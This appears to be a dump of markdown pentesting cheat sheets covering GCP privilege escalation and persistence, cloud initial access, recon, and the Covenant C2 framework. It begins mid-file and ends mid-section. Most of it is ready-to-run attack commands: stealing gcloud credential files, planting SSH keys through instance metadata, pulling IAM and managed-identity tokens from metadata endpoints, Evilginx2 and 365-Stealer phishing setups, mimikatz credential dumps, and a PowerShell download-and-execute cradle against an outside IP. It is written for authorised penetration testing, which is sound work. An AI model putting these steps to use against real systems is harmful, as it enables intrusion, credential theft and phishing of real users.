152 | ``` 153 | 154 | #### List VPN tunnels 155 | ``` 156 | gcloud compute vpn-tunnels list 157 | ``` 158 | 159 | #### List Interconnects (VPN) 160 | ``` 161 | gcloud compute interconnects list 162 | ``` 163 | 164 | ### Containers 165 | ``` 166 | gcloud container clusters list 167 | ``` 168 | 169 | #### GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with gcloud and run: 170 | ``` 171 | gcloud container clusters get-credentials --region 172 | ``` 173 | 174 | #### Get cluster info 175 | - If successful and the user has the correct permission the Kubernetes command below can be used to get cluster info: 176 | ``` 177 | kubectl cluster-info 178 | ``` 179 | 180 | ## Serverless 181 | #### GCP functions log analysis 182 | - May get useful information from logs associated with GCP functions 183 | ``` 184 | gcloud functions list 185 | gcloud functions describe 186 | gcloud functions logs read --limit 187 | ``` 188 | 189 | #### GCP Cloud Run analysis 190 | - May get useful information from descriptions such as environment variables. 191 | ``` 192 | gcloud run services list 193 | gcloud run services describe 194 | gcloud run revisions describe --region= 195 | ``` 196 | 197 | -------------------------------------------------------------------------------- /cloud/gcb/lateral-movement.md: -------------------------------------------------------------------------------- 1 | # Lateral Movement 2 | ## Index 3 | * [GCP Web console](#GCP-Web-console) 4 | 5 | ## GCP Web console 6 | - Sometimes GUI access might be desirable 7 | - Only available to user accounts, not service accounts 8 | 9 | #### Try to add a new editor to a project 10 | ``` 11 | gcloud projects add-iam-policy-binding --member user: --role roles/editor 12 | ``` 13 | -------------------------------------------------------------------------------- /cloud/gcb/persistence.md: -------------------------------------------------------------------------------- 1 | # Persistence 2 | - App passwords 3 | - Good way to get around 2fa but are revoked on password changes 4 | - Backup codes 5 | - Generate one-time passcodes that can be used for 2-step verifictation 6 | - API and service account tokens 7 | - Create a new project on cloud.google.com 8 | - Enable API access with scopes set to any resources you can 9 | - or Create private key JSON file for service account 10 | - ```gcloud iam service-accounts keys create --iam-account my-iamaccount@somedomain.com key.json``` 11 | -------------------------------------------------------------------------------- /cloud/gcb/post-exploitation.md: -------------------------------------------------------------------------------- 1 | # Post exploitation 2 | ## Index 3 | * [Data harvesting](#Data-harvesting) 4 | * [Export google data](#Export-google-data) 5 | * [Export SQL databases](#Export-SQL-databases) 6 | * [Export buckets](#Export-buckets) 7 | * [Metadata Service URL](#Metadata-Service-URL) 8 | 9 | ## Data harvesting 10 | ### Export google data 11 | - https://takeout.google.com 12 | 13 | ### Export SQL databases 14 | #### List SQL databases 15 | ``` 16 | gcloud sql instances list 17 | gcloud sql databases list --instance 18 | gcloud spanner instances list 19 | gcloud spanner databases list --instance 20 | gcloud bigtable instances list 21 | ``` 22 | 23 | #### Create new storage bucket, change perms, export SQL DB 24 | ``` 25 | gsutil mb gs:// 26 | gsutil acl ch -u gs:// 27 | gcloud sql export sql 28 | gs:///sqldump.gz --database= 29 | ``` 30 | 31 | ### Export buckets 32 | ``` 33 | gsutil cp gs://bucket-name/folder/ 34 | ``` 35 | 36 | ### Metadata Service URL 37 | 38 | ```bash 39 | curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google" 40 | ``` 41 | -------------------------------------------------------------------------------- /cloud/gcb/privilege-escalation.md: -------------------------------------------------------------------------------- 1 | # Privilege Escalation 2 | ## Index 3 | * [General](#General) 4 | * [Getting Credentials](#Getting-credentials) 5 | * [Gcloud credentials](#Gcloud-credentials) 6 | * [Google tokens](#Google-tokens) 7 | * [Web config and App config files](#Web-config-and-App-config-files) 8 | * [Internal repositories](#Internal-repositories) 9 | * [Command history](#Command-history) 10 | * [Execute commands on VM's](#Execute-commands-on-VM's) 11 | * [Bucket access](#Bucket-access) 12 | * [Metadata server](#Metadata-server) 13 | 14 | ## General 15 | - Google Cloud Platform has 2 user types 16 | - User Accounts 17 | - Traditional user access with password 18 | - Service Accounts 19 | - Don’t have passwords 20 | - Every GCP project has a “Default” service account 21 | - Default will get bound to instances if no other is set 22 | - EVERY process running on the instance can authenticate as the service account 23 | - Got shell on a compute instance? 24 | - The default service account can access EVERY storage bucket in a project 25 | 26 | ## Getting credentials 27 | ### Gcloud credentials 28 | - Gcloud stores creds in ~/.config/gcloud/credentials.db 29 | ``` 30 | sudo find /home -name "credentials.db 31 | ``` 32 | 33 | ### Auth as compromised user 34 | - Copy gcloud dir to your own home directory to auth as the compromised user 35 | ```bash 36 | sudo cp -r /home/username/.config/gcloud ~/.config 37 | sudo chown -R currentuser:currentuser ~/.config/gcloud 38 | gcloud auth list 39 | ``` 40 | 41 | ### Google tokens 42 | - Google JSON Tokens and credentials.db 43 | - JSON tokens typically used for service account access to GCP 44 | - If a user authenticates with gcloud from an instance their creds get stored here ```~/.config/gcloud/credentials.db``` 45 | ``` 46 | sudo find /home -name "credentials.db" 47 | ``` 48 | 49 | ### Web config and App config files 50 | - ```Web.config``` and ```app.config``` files might contain creds or access tokens. 51 | - Look for management cert and extract to ```.pfx``` like publishsettings files 52 | ``` 53 | sudo find / -name web.config 2>/dev/null 54 | Get-ChildItem -Path C:\ -Filter app.config -Recurse -ErrorAction SilentlyContinue -Force 55 | ``` 56 | 57 | ### Internal repositories 58 | - Find internal repos (scan for port 80, 443 or Query AD and look for subdomains or hostnames as git, code, repo, gitlab, bitbucket etc) 59 | - Tools for finding secrets 60 | - Gitleaks https://github.com/zricethezav/gitleaks 61 | - Gitrob https://github.com/michenriksen/gitrob 62 | - Truffle hog https://github.com/dxa4481/truffleHog 63 | 64 | ### Command history 65 | - Look through command history 66 | - ```~/.bash_history`` or ```%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt``` 67 | ``` 68 | sudo find / -name .bash_history 2>/dev/null 69 | Get-ChildItem -Path C:\ -Filter *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue -Force 70 | ``` 71 | 72 | 73 | ## Execute commands on VM's 74 | - Can connect with gcloud ssh command, command can be retrieved from the portal in VM instances, remote access --> View gcloud command, looks like: 75 | ``` 76 | gcloud beta compute ssh --zone "us-east1-b" "test-instance-1" --project "test-gcloud-project" 77 | ``` 78 | 79 | ## Bucket access 80 | #### Check if user has default service account access 81 | - Look for the standard default service account name that look like: 82 | - PROJECT_NUMBER-compute@developer.gserviceaccount.com 83 | - PROJECT_ID@appspot.gserviceaccount.com 84 | - Use service account to access buckets looking for other creds or sensitive data 85 | ``` 86 | gcloud config list 87 | ``` 88 | 89 | ## Metadata server 90 | - Metadata endpoint on instances at 169.254.169.254 91 | - Any public SSH keys in the metadata server get an account with root access setup 92 | - If you can set a public key on the metadata server it will setup a brand new Linux account for you on the instance 93 | - Need default perms set to “full access to Cloud APIs” or compute API access 94 | - Or… custom IAM perms: 95 | - compute.instances.setMetadata 96 | - compute.projects.setCommonInstanceMetadata 97 | 98 | ### Create SSH key for a new username 99 | ``` 100 | ssh-keygen -t rsa -C "" -f ./.key -P "" 101 | ``` 102 | 103 | #### Copy the username and key data into a file called metadata.txt in the following format: 104 | ``` 105 | : 106 | ``` 107 | 108 | #### Update the instance metadata 109 | ``` 110 | gcloud compute instances add-metadata --metadata-from-file ssh-keys=metadata.txt 111 | ``` 112 | 113 | #### SSH into the machine 114 | - Now when the daemon runs it will add a new user with root privileges. Use your newly generated SSH key to SSH in. 115 | -------------------------------------------------------------------------------- /cloud/gcb/readme.md: -------------------------------------------------------------------------------- 1 | # Google Cloud Platform pentesting cheatsheet 2 | ## Index 3 | * [General](#General) 4 | * [Authenticated enumeration](authenticated-enumeration.md ) 5 | * [Privilege Escalation](privilege-escalation.md) 6 | * [Lateral-movement](lateral-movement.md) 7 | * [Persistence](persistence.md) 8 | * [Post Exploitation](post-exploitation.md) 9 | 10 | ## General 11 | 12 | -------------------------------------------------------------------------------- /cloud/initial-access-attacks.md: -------------------------------------------------------------------------------- 1 | # Initial access attacks 2 | 3 | * [Password and crentials attacks](#Password--and-credentials-attacks) 4 | * [Password spraying](#Password-spraying) 5 | * [Bypass MFA](#Bypass-MFA) 6 | * [Key disclosure in public repositories](#Key-disclosure-in-public-repositories) 7 | * [Reused access](#Reused-access) 8 | * [AWS Instance Metadata](#AWS-Instance-Metadata) 9 | * [Web-Application Vulnerabilities](#Web-application-vulnerabilities) 10 | * [Insecure file upload](#Insecure-file-upload) 11 | * [Server Side Template Injection](#Server-Side-Template-Injection) 12 | * [OS Command injection](#OS-Command-injection) 13 | * [Phishing](#Phishing) 14 | * [Phishing Evilginx2](#Phishing-Evilginx2) 15 | * [Illicit Consent Grant phishing](#Illicit-Consent-Grant-phishing) 16 | * [Google workspace calendar event injection](#Google-workspace-calendar-event-injection) 17 | * [Public storage](#public-storage) 18 | * [Misc](#misc) 19 | 20 | ## Password and credentials attacks 21 | ### Password spraying 22 | - https://github.com/dafthack/MSOLSpray 23 | - https://github.com/ustayready/fireprox 24 | ``` 25 | Import-Module .\MSOLSpray.ps1 26 | Invoke-MSOLSpray -UserList validemails.txt -Password -Verbose 27 | ``` 28 | 29 | #### Find valid emails Azure 30 | - Explained in Recon or use the command below 31 | ``` 32 | C:\Python27\python.exe o365creeper.py -f emails.txt -o validemails.txt 33 | ``` 34 | 35 | #### Trevorspray 36 | - https://github.com/blacklanternsecurity/TREVORspray 37 | 38 | ### Bypass mfa 39 | #### MFAsweep 40 | - Checks for portals which doesn't enforce mfa 41 | - https://github.com/dafthack/MFASweep 42 | ``` 43 | Invoke-MFASweep -Username -Password 44 | ``` 45 | 46 | ## Key disclosure in public repositories 47 | - Scavange repos for keys 48 | - Find keys in realtime: https://github.com/eth0izzle/shhgit 49 | - Tools for finding secrets 50 | - Gitleaks https://github.com/zricethezav/gitleaks 51 | - Gitrob https://github.com/michenriksen/gitrob 52 | - Truffle hog https://github.com/dxa4481/truffleHog 53 | 54 | ### Gitleaks 55 | - https://github.com/zricethezav/gitleaks 56 | #### Search for secrets 57 | ``` 58 | ./gitleaks detect -v source 59 | ``` 60 | 61 | #### Use web browser to view the commit 62 | ``` 63 | https://github.com/[git account]/[repo name]/commit/[commit ID] 64 | ``` 65 | 66 | ## Reused access 67 | - certs as private keys on web servers 68 | 1. Comprimise web server 69 | 2. Extract certificate with mimkatz 70 | 3. Use it to authenticate to Azure 71 | ``` 72 | mimikatz# crypto::capi 73 | mimikatz# privilege::debug 74 | mimikatz# crypto::cng 75 | mimikatz# crypto::certificates /systemstore:local_machine /store:my /export 76 | ``` 77 | 78 | ### AWS Instance Metadata 79 | - Metadata endpoint is hosted on a non routable IP adress at 169.254.169.254 80 | - Can contain access/secret keys to AWS and IAM credentials 81 | - Server compromise or SSRF vulnerabilities might allow remote attackers to reach it. 82 | - IAM credentials can be stored here ```http://169.254.169.254/latest/meta-data/iam/security-credentials/``` 83 | - New version requeres token, a put request is send and then responded to with a token. Then that token can be used to query data 84 | 85 | #### Instance Metadata Service URL 86 | ``` 87 | http://169.254.169.254/latest/meta-data 88 | ``` 89 | 90 | #### Additional IAM creds possibly available here 91 | 92 | ``` 93 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ 94 | ``` 95 | 96 | - Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured 97 | 98 | ```bash 99 | curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo 100 | ``` 101 | 102 | #### IMDS Version 2 has some protections 103 | - but these commands can be used to access it 104 | ```bash 105 | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 106 | curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN" 107 | ``` 108 | 109 | ## Web application vulnerabilities 110 | - Here are some generic things ot look for: 111 | - Out of date web technologies with known vulns 112 | - SQL or command injection vulns 113 | - Server-side-request forgery (SSRF) 114 | - Arbitrary file upload 115 | - Good place to start post shell: 116 | - Creds in metadata service 117 | - Certificates 118 | - Environment variables 119 | - Storage Accounts 120 | 121 | ### Insecure file upload 122 | - Upload a webshell to a insecure webapp 123 | - If command execution is possible execute command ```env``` 124 | - if the app service contains environment variables IDENITY_HEADER and IDENTITY_ENDPOINT, it has a managed identity. 125 | - Get access token from managed identity using another webshell. Upload studentxtoken.phtml 126 | 127 | ### Server Side Template Injection 128 | - SSTI allows an attacker to abuse template syntax to inject payloads in a template that is executed on the server side. 129 | - That is, we can get command execution on a server by abusing this. 130 | - Find we webapp which is vulnerable, test with injectin a expression ```{{7*7}}``` and see if it gets evaluated. 131 | - The way expression is evaluated means that, most probably, either PHP or Python is used for the web app. We may need to run some trial and error methods to find out the exact language and template framework. 132 | - Use ```{{config.items()}}``` and see if it works. 133 | - Check if a managed identity is assigned (Check for the env variables IDENTITY_HEADER and IDENTITY_ENDPOINT) 134 | - If code execution is possible execute the following to get a ARM access token for the managed identity: 135 | ``` 136 | curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER 137 | ``` 138 | - Request keyvault Access token 139 | ``` 140 | curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER 141 | ``` 142 | - Request AADGraph token 143 | ``` 144 | curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER 145 | curl "$IDENTITY_ENDPOINT?resource=https://graph.windows.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER 146 | ``` 147 | 148 | ### OS Command injection 149 | - In case of OS command injection, it is possible to run arbitrary operating system commands on the server where requests are processed. 150 | - This is usually due to insecure parsing of user input such as parameters, uploaded files and HTTP requests. 151 | 152 | ## Phishing 153 | ### Phishing Evilginx2 154 | - https://github.com/kgretzky/evilginx2 155 | - Evilginx acts as a relay/man-in-the-middle between the legit web page and the target user. The user always interacts with the legit website and Evilginx captures usernames, passwords and authentication cookies. 156 | 157 | #### Start evilgix2 158 | ``` 159 | evilginx2 -p C:\AzAD\Tools\evilginx2\phishlets 160 | ``` 161 | 162 | #### Configure the domain 163 | ``` 164 | config domain studentx.corp 165 | ``` 166 | 167 | #### Set the IP for the evilginx server 168 | ``` 169 | config ip xx.xx.xx.xx 170 | ``` 171 | 172 | #### Use the template for office365 173 | ``` 174 | phishlets hostname o365 175 | ``` 176 | 177 | #### Verify the DNS entries 178 | ``` 179 | phishlets get-hosts o365 180 | ``` 181 | 182 | #### Copy the certificate and private key 183 | 0365.cr and 0365.key from ```C:\studentx\.evilginx\crt``` to ```C:\studentx\.evilginx\crt\login.studentx.corp``` 184 | 185 | #### Enable phishlets 186 | ``` 187 | phislets enable 0365 188 | ``` 189 | 190 | #### Create the phishing URL (Tied to an ID) 191 | ``` 192 | lures create 0365 193 | ``` 194 | 195 | #### Get the phishing URL 196 | - Share the phishing URL with the victim 197 | ``` 198 | lures get-url 199 | ``` 200 | 201 | ## Illicit Consent Grant phishing 202 | #### Create a application 203 | - Login to the Azure portal and in the left menu go to 'Azure Active Directory' --> 'App registrations' and click 'new registration' 204 | - Set a application name and choose 'Accounts in any organizational directory (Any Azure AD Directory - Multitenant' 205 | - Use the URL of the student VM in the URI (https://xx.xx.xx.xx/login/authorized) 206 | - In the left menu go to 'Certificates & Secrets' and create a new client secret and copy it. 207 | - In the left menu go to 'API permissions' and add the 'user.read' and 'User.ReadBasic.All' for the Microsoft Graph. 208 | 209 | #### Check if users are allowed to consent to apps 210 | ``` 211 | Import-Module AzureADPreview.psd1 212 | 213 | #Use another tenant account 214 | $passwd = ConvertTo-SecureString "" -AsPlainText -Force 215 | $creds = New-Object System.Management.Automation.PSCredential ("", $passwd) 216 | Connect-AzureAD -Credential $creds 217 | (Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole 218 | 219 | #output should be 220 | ManagePermissionGrantsForSelf.microsoft-user-default-legacy 221 | ``` 222 | 223 | #### Setup the 365-stealer 224 | - Copy the 365-stealer directory to the xampp directory 225 | - Edit the 365-stealer.py and edit the CLIENTID (client application id), REDIRECTEDURL and CLIENTSECRET (From the certificate) 226 | 227 | #### Start the 365-stealer 228 | ``` 229 | &"C:\Program Files\Python38\python.exe" C:\xampp\htdocs\365-Stealer\365-Stealer.py --run-app 230 | ``` 231 | 232 | #### Get the phishinglink 233 | - Browse to https://localhost and click on readmore. Copy the link! 234 | 235 | #### Enumerating applications to send the phishing link 236 | - Edit the permutations.txt to add permutations such as career, hr, users, file and backup 237 | ``` 238 | . C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureSubDomains.ps1 239 | Invoke-EnumerateAzureSubDomains -Base –Verbose 240 | ``` 241 | 242 | #### Get the access tokens 243 | - Browse to http://localhost:82/365-Stealer/yourvictims/ 244 | - Click on the user and copy the access token from access_token.txt 245 | - See the "Using Azure tokens" section 246 | 247 | #### Get admin consent 248 | - https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/grant-admin-consent 249 | - Global Admin, Application Admin, or Cloud Application Administrator can all grant tenant wide application admin consent 250 | ``` 251 | - In the left menu go to 'API permissions' and add the mail.read, notes.read.all, mailboxsettings.readwrite, files.readwrite.all, mail.send to Microsoft Graph. 252 | - Refish the user to get a token with the extra permissions 253 | ``` 254 | 255 | #### Start a listener 256 | ``` 257 | nc.exe -lvp 4444 258 | ``` 259 | 260 | #### Abuse the access token - Uploading word doc to OneDrive 261 | ``` 262 | cd C:\xampp\htdocs\365-Stealer\ 263 | 264 | & 'C:\Program Files\Python38\python.exe' 365-Stealer.py --upload --token-path C:\xampp\htdocs\365-Stealer\yourVictims\\access_token.txt 265 | ``` 266 | 267 | #### Refresh all tokens 268 | - Access token is valid for 1 hour, can't be revoked. 269 | - Refresh token is valid for 90 days but can be revoked. 270 | ``` 271 | python 365-Stealer.py --refresh-all 272 | ``` 273 | 274 | ### Google workspace calendar event injection 275 | - Silently injects events to target calendars 276 | - Bypasses the “don’t auto-add” setting 277 | - Include link to phishing page 278 | - https://www.blackhillsinfosec.com/google-calendar-event-injection-mailsniper/ 279 | 280 | ## Public Storage 281 | ### Find data in public storage 282 | - https://github.com/initstring/cloud_enum can scan all three cloud services for multiple services. 283 | 284 | ### Public azure blobs 285 | - https://github.com/NetSPI/MicroBurst 286 | ``` 287 | Invoke-EnumerateAzureBlobs –Base 288 | ``` 289 | 290 | #### Enumerate Azureblobs 291 | - add permutations to permutations.txt like common, backup, code in the misc directory. 292 | ``` 293 | Import-Module ./Microburst.psm1 294 | Invoke-EnumerateAzureBlobs -Base defcorp 295 | ``` 296 | - Access the URL's and see if any files are listed (Example https://defcorpcommon.blob.core.windows.net/backup?restype=container&comp=list) 297 | - Access the files by adding it to the url (Example https://defcorpcommon.blob.core.windows.net/backup/blob_client.py) 298 | - Check for a SAS URL, if found then open the "Connect to Azure Storage", select "blobl container" and select 'Shared Access Signatur (SAS)' and paste the URL, displayname will fill automatically. 299 | 300 | ### Public AWS blobs 301 | - https://github.com/RhinoSecurityLabs/pacu 302 | 303 | #### Brute force bucket names 304 | - https://github.com/initstring/cloud_enum 305 | ``` 306 | python3 cloud_enum.py -k 307 | ``` 308 | 309 | #### Use the AWS CLI to list the files of the s3 bucket 310 | ``` 311 | sudo aws s3 ls s3:// --profile 312 | ``` 313 | 314 | #### Use the AWS CLI to download the files of the s3 bucket 315 | ``` 316 | sudo aws s3 sync s3:// s3-files-dir --profile 317 | ``` 318 | 319 | ### Public Google Storage Buckets 320 | - https://github.com/initstring/cloud_enum 321 | 322 | ### Public SQL database 323 | - https://github.com/initstring/cloud_enum can scan all three cloud services for multiple services. 324 | - Might be able to bruteforce port 1433 325 | 326 | ## Misc 327 | ## S3 code injection 328 | - If a webapp is loading content from an s3 bucket made publicly writeable. Attackers can upload malicious JS to get executed by visitors. 329 | 330 | ## Domain hijacking 331 | - Hijack S3 domain by finding references in a webapp to S3 buckets that dont exist anymore. 332 | - Or subdomains were linked to S3 buckets with CNAME that still exist. 333 | - When assessing webapps look for 404's to ```*.s3.amazonaws.com``` 334 | 1. When brute forcing subdomains for an org look for 404’s with ‘NoSuchBucket’ error 335 | 2. Go create the S3 bucket with the same name and region 336 | 3. 3. Load malicious content to the new S3 bucket that will be executed when visitors hit the site 337 | 338 | -------------------------------------------------------------------------------- /cloud/readme.md: -------------------------------------------------------------------------------- 1 | # Pentesting the cloud cheatsheet 2 | 3 | ## Index 4 | * [General](#General) 5 | * [Scaning tools](#Scanning-tools) 6 | * [Recon \ OSINT](recon.md) 7 | * [Initial access attacks](initial-access-attacks.md) 8 | * [Cloud Services](readme.md) 9 | * [Azure](azure/readme.md) 10 | * [Amazon Web Services](aws/readme.md) 11 | * [Google Cloud Platform](gcb/readme.md) 12 | 13 | 14 | ## General 15 | - Google Cloud Platform != Google Workspace 16 | - Azure != Microsoft 365 17 | - Google Workspace and Microsoft 365 are productivity suites 18 | - Rules of engagement 19 | - Azure https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement 20 | - AWS: https://aws.amazon.com/security/penetration-testing/ 21 | - GCP https://support.google.com/cloud/answer/6262505?hl=en 22 | - Enumerate host https://github.com/dafthack/HostRecon 23 | 24 | ## Scanning tools 25 | ### Enumeration 26 | - WeirdAAL 27 | - https://github.com/carnal0wnage/weirdAAL 28 | - AWS 29 | 30 | ### Vulnerability scanning 31 | - Scoutsuite 32 | - https://github.com/nccgroup/ScoutSuite 33 | - Scans AWS, Azure, GCP, Alibaba cloud, Oracle cloud 34 | - Scoutsploit 35 | - https://github.com/cloudsploit/scans 36 | - Scans AWS, Azure, GCP, Oracle 37 | 38 | ### Privesc scanning 39 | - GCP IAM privilege esalation 40 | - https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/PrivEscScanner 41 | - GCP 42 | - PACU 43 | - https://github.com/RhinoSecurityLabs/pacu 44 | - AWS 45 | - Stormspotter 46 | - https://github.com/Azure/Stormspotter 47 | - Azure 48 | - Skyark 49 | - https://github.com/cyberark/SkyArk 50 | -------------------------------------------------------------------------------- /cloud/recon.md: -------------------------------------------------------------------------------- 1 | # Recon on the target 2 | ## Index 3 | 4 | * [Recon tools](#Recon-tools) 5 | * [Recon techniques](#Recon-techniques) 6 | * [Azure](#Azure) 7 | * [Manually](#Manually) 8 | * [AADinternals](#AADinternals) 9 | * [Microburst](#Microburst) 10 | * [Valid emails](#Valid-emails) 11 | 12 | ## Recon steps for cloud asset discovery 13 | 1. Traditional host discovery still applies 14 | 2. After host discovery resolve all names, then perforn whois lookups to determine where are they hosted. 15 | 3. Microsoft, Amazon, Google IP space usually indicates cloud service usage. 16 | 4. Check MX records. These can show cloud-hosted mail providers 17 | 18 | ## Recon tools 19 | - Recon-NG https://github.com/lanmaster53/recon 20 | - OWASP Amass https://github.com/OWASP/Amass 21 | - Spiderfoot https://www.spiderfoot.net/ 22 | - Gobuster https://github.com/OJ/gobuster 23 | - Sublist3r https://github.com/aboul3la/Sublist3r 24 | - Use search engine, bing, google are good places to start. 25 | - Certificate transparency https://crt.sh/ 26 | - Shodan https://shodan.io 27 | - Query examples: org:"Target name", net:"CIDR Range", PORT:"443" 28 | - Censys https://censys.io 29 | - Hackertarget https://hackertarget.com/ 30 | - Threatcrowd https://www.threatcrowd.org/ 31 | - DNSDumpster https://dnsdumpster.com/ 32 | - ARIN Searches https://whois.arin.net/ui/ 33 | 34 | ## Recon techniques 35 | ### Finding subdomains 36 | - Check DNS Dumpster https://dnsdumpster.com/ 37 | 38 | #### Bruteforce subdomains 39 | - https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS 40 | ``` 41 | gobuster dns -d -w 42 | ``` 43 | ### Check cloud usage 44 | #### Check for IP Netblocks 45 | - Azure Netblocks 46 | - Public: https://www.microsoft.com/en-us/download/details.aspx?id=56519 47 | - US Gov: http://www.microsoft.com/en-us/download/details.aspx?id=57063 48 | - Germany: http://www.microsoft.com/en-us/download/details.aspx?id=57064 49 | - China: http://www.microsoft.com/en-us/download/details.aspx?id=57062 50 | - AWS Netblocks 51 | - https://ip-ranges.amazonaws.com/ip-ranges.json 52 | - GCP Netblocks 53 | - https://www.gstatic.com/ipranges/cloud.json 54 | 55 | #### ip2provider 56 | - https://github.com/oldrho/ip2provider 57 | ``` 58 | cat iplist.txt | python ip2provider.py 59 | ``` 60 | 61 | #### O365 usage 62 | - Add domain to following url, if exists there is a tenant: 63 | ``` 64 | https://login.microsoftonline.com//v2.0/.well-known/openid-configuration 65 | ``` 66 | 67 | #### Google Workspace Usage 68 | - Try to authenticate with a valid company email adress at gmail 69 | - https://accounts.google.com/ 70 | 71 | #### AWS usage 72 | - Check if any resources are being loaded from S3 buckets 73 | - Using burp, navigate the webapp and check for any calls to ```https://[bucketname].s3.amazonaws.com ``` or ```• https://s3-[region].amazonaws.com/[Org Name]``` 74 | 75 | #### Box.om usage 76 | - Look for any login portals 77 | - https://companyname.account.box.com 78 | 79 | ### Recon employees 80 | - Build a user list with linkedin 81 | - Determine username scheme via public file metadata (PDF, DOCX, XLSX, etc) 82 | - Powermeta https://github.com/dafthack/PowerMeta 83 | - FOCA https://github.com/ElevenPaths/FOCA 84 | 85 | ### User enumeration 86 | - Azure can be performed at https://login.microsoft.com/common/oauth2/token 87 | - This endpoint tells you if a user exists or not 88 | - Detect invalid users while password spraying with MSOL spray 89 | 90 | ## Azure 91 | ### Manually 92 | #### Get if tenant is in use and if fedaration is in use. 93 | - Federation with Azure AD or O365 enables users to authenticate using on-premises credentials and access all resources in cloud. 94 | ``` 95 | https://login.microsoftonline.com/getuserrealm.srf?login=@&xml=1 96 | https://login.microsoftonline.com/getuserrealm.srf?login=root@defcorphq.onmicrosoft.com&xml=1 97 | ``` 98 | 99 | #### Get the Tenant ID 100 | ``` 101 | https://login.microsoftonline.com//.well-known/openid-configuration 102 | https://login.microsoftonline.com/defcorphq.onmicrosoft.com/.well-known/openid-configuration 103 | ``` 104 | 105 | ### AADinternals 106 | https://github.com/Gerenios/AADInternals 107 | https://o365blog.com/aadinternals/ 108 | 109 | #### Import the AADinternals module 110 | ``` 111 | import-module .\AADInternals.psd1 112 | ``` 113 | 114 | #### Get all the information of the tenant 115 | ``` 116 | Invoke-AADIntReconAsOutsider -DomainName 117 | ``` 118 | 119 | #### Get tenant name, authentication, brand name (usually same as directory name) and domain name 120 | ``` 121 | Get-AADIntLoginInformation -UserName @ 122 | ``` 123 | 124 | #### Get tenant ID 125 | ``` 126 | Get-AADIntTenantID -Domain 127 | ``` 128 | 129 | #### Get tenant domains 130 | ``` 131 | Get-AADIntTenantDomains -Domain 132 | ``` 133 | 134 | ## Microburst 135 | #### Enumerate used services 136 | - https://github.com/NetSPI/MicroBurst 137 | - Edit the permutations.txt to add permutations such as career, hr, users, file and backup 138 | ``` 139 | Import-Module MicroBurst.psm1 -Verbose 140 | Invoke-EnumerateAzureSubDomains -Base -Verbose 141 | ``` 142 | 143 | #### Enumerate Azureblobs 144 | - Add permutations to permutations.txt like common, backup, code in the misc directory. 145 | ``` 146 | Import-Module ./Microburst.psm1 147 | Invoke-EnumerateAzureBlobs -Base -OutputFile azureblobs.txt 148 | ``` 149 | 150 | ## Valid emails 151 | #### Check for Email ID's 152 | - https://github.com/LMGsec/o365creeper 153 | - Could gather list of emails from something like harvester or hunter.io or smth and validate them! 154 | - admin, root, test, contact (try those default for exam) 155 | ``` 156 | python o365creeper.py -f list_of_emails.txt -o validemails.txt 157 | ``` 158 | - Possible to use https://github.com/nyxgeek/onedrive_user_enum (Non-lab-tool) 159 | 160 | -------------------------------------------------------------------------------- /covenant.md: -------------------------------------------------------------------------------- 1 | ## Covenant C2 Framework 2 | - https://github.com/cobbr/Covenant 3 | 4 | ### Installation 5 | - https://github.com/cobbr/Covenant/wiki/Installation-And-Startup 6 | 7 | #### Rastamouse version 8 | ``` 9 | wget -q https://packages.microsoft.com/config/ubuntu/19.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb 10 | sudo dpkg -i packages-microsoft-prod.deb 11 | sudo apt -y update 12 | sudo apt -y install apt-transport-https 13 | sudo apt -y update 14 | sudo apt -y install dotnet-sdk-3.1 dnsutils 15 | rm packages-microsoft-prod.deb 16 | 17 | git clone --recurse-submodules https://github.com/ZeroPointSecurity/Covenant.git /opt/Covenant 18 | 19 | dotnet build 20 | dotnet run 21 | ``` 22 | 23 | ### General 24 | #### Start Covenant 25 | ``` 26 | /opt/Covenant/Covenant > dotnet run 27 | ``` 28 | 29 | #### Create a listener 30 | - https://github.com/cobbr/Covenant/wiki/Listeners 31 | - Give it a name and ConnectAdress the adress to Connect to 32 | 33 | #### Create a launcher (For example PowerShell) 34 | - Select a listener 35 | - Click on Host and create a different url, for example ```\HTTPStager.ps1``` and click on Host! 36 | - Copy the Launcher and Encoded Launcher codes 37 | - If making an executable try both DotNetversions! 38 | 39 | #### HTA script 40 | - Use the command in the following HTA file 41 | ``` 42 | 52 | ``` 53 | 54 | #### Go back to listener and upload the HTA file 55 | 56 | ### Run c# executables on target 57 | - Interact with the grunt. 58 | - Go to tasks, select Assembly, select executable and run! 59 | - Works with DotNet executables 60 | 61 | ### Escalate to system 62 | - Run the task processlist and look for a process running as ```NT AUTHORITY\SYSTEM``` 63 | - Then run ImpersonateProcess ```ImpersonateProcess /processid:""``` 64 | - Then run the Launcher again to spawn another grunt. ```Powershell iex (New-Object Net.WebClient).DownloadString('http://175.12.80.10/Stgr.ps1')``` 65 | - Go back to the current context using task ```RevertToSelf``` 66 | 67 | ### Dumping credentials 68 | - From System or High integrity 69 | #### Logon passwords 70 | ``` 71 | Mimikatz sekurlsa::logonpasswords 72 | ``` 73 | 74 | #### Cached credentials 75 | ``` 76 | LsaCache 77 | ``` 78 | 79 | #### SAM 80 | ``` 81 | Mimikatz lsadump::sam 82 | ``` 83 | 84 | #### 